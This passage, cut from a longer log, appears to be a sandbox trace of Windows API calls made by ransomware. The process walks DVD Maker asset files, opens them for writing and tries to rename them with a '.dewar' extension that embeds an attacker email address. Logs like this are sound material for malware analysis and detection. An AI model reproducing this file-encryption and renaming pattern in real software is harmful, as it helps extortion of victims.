maker\\shared\\dvdstyles\\specialoccasion\\whitemask1047.png")) returned 0x20 [0255.965] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitemask1047.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\whitemask1047.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0255.966] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitemask1047.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\whitemask1047.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.967] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitevignette1047.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\whitevignette1047.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0255.967] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=169722) returned 1 [0255.967] CloseHandle (hObject=0x1e0) returned 1 [0255.968] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitevignette1047.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\whitevignette1047.png")) returned 0x20 [0255.968] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitevignette1047.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\whitevignette1047.png")) returned 0x20 [0255.968] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitevignette1047.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\whitevignette1047.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0255.968] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitevignette1047.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\whitevignette1047.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.969] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\CircleSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\circlesubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0255.976] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=2910) returned 1 [0255.977] CloseHandle (hObject=0x1e0) returned 1 [0255.977] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\CircleSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\circlesubpicture.png")) returned 0x20 [0255.977] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\CircleSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\circlesubpicture.png")) returned 0x20 [0255.977] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\CircleSubpicture.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\circlesubpicture.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0255.978] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\CircleSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\circlesubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.978] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\GoldRing.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\goldring.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0255.983] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=4621) returned 1 [0255.983] CloseHandle (hObject=0x1e0) returned 1 [0255.983] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\GoldRing.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\goldring.png")) returned 0x20 [0255.984] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\GoldRing.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\goldring.png")) returned 0x20 [0255.984] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\GoldRing.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\goldring.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0255.984] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\GoldRing.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\goldring.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.985] SetEvent (hEvent=0x118) returned 1 [0255.985] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\highlight.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0255.986] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=27964) returned 1 [0255.986] CloseHandle (hObject=0x1e0) returned 1 [0255.986] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\highlight.png")) returned 0x20 [0255.986] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\highlight.png")) returned 0x20 [0255.986] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\highlight.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\highlight.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0255.987] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.988] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NavigationButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\navigationbuttonsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0255.988] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=2978) returned 1 [0255.988] CloseHandle (hObject=0x1e0) returned 1 [0255.988] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NavigationButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\navigationbuttonsubpicture.png")) returned 0x20 [0256.126] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NavigationButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\navigationbuttonsubpicture.png")) returned 0x20 [0256.126] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NavigationButtonSubpicture.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\navigationbuttonsubpicture.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0256.127] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NavigationButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\navigationbuttonsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.127] SetEvent (hEvent=0x118) returned 1 [0256.128] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\previousmenubuttonicon.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0256.128] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=3819) returned 1 [0256.129] CloseHandle (hObject=0x1e0) returned 1 [0256.129] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\previousmenubuttonicon.png")) returned 0x20 [0256.130] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\previousmenubuttonicon.png")) returned 0x20 [0256.130] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\previousmenubuttonicon.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0256.130] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\previousmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.131] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha1.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0256.132] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=3133) returned 1 [0256.132] CloseHandle (hObject=0x1e0) returned 1 [0256.132] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha1.png")) returned 0x20 [0256.132] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha1.png")) returned 0x20 [0256.132] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha1.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0256.133] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha1.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.134] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha2.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0256.134] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=3518) returned 1 [0256.134] CloseHandle (hObject=0x1e0) returned 1 [0256.135] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha2.png")) returned 0x20 [0256.135] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha2.png")) returned 0x20 [0256.135] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha2.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0256.135] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha2.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.136] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttonsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0256.140] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=3119) returned 1 [0256.140] CloseHandle (hObject=0x1e0) returned 1 [0256.140] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttonsubpicture.png")) returned 0x20 [0256.140] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttonsubpicture.png")) returned 0x20 [0256.141] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonSubpicture.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttonsubpicture.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0256.141] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttonsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.142] SetEvent (hEvent=0x118) returned 1 [0256.142] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0256.143] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=5477696) returned 1 [0256.143] CloseHandle (hObject=0x1e0) returned 1 [0256.143] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv")) returned 0x20 [0256.144] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0 [0256.144] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv")) returned 0 [0256.146] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0256.146] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=5749696) returned 1 [0256.147] CloseHandle (hObject=0x1e0) returned 1 [0256.147] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv")) returned 0x20 [0256.147] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0 [0256.147] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv")) returned 0 [0256.148] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0256.149] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=1829606) returned 1 [0256.149] CloseHandle (hObject=0x1e0) returned 1 [0256.150] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv")) returned 0x20 [0256.150] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0 [0256.150] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv")) returned 0 [0256.151] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0256.156] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=1837606) returned 1 [0256.156] CloseHandle (hObject=0x1e0) returned 1 [0256.156] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv")) returned 0x20 [0256.157] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0 [0256.157] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv")) returned 0 [0256.158] SetEvent (hEvent=0x118) returned 1 [0256.158] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0256.159] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=1589606) returned 1 [0256.159] CloseHandle (hObject=0x1e0) returned 1 [0256.159] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv")) returned 0x20 [0256.159] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0 [0256.160] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), 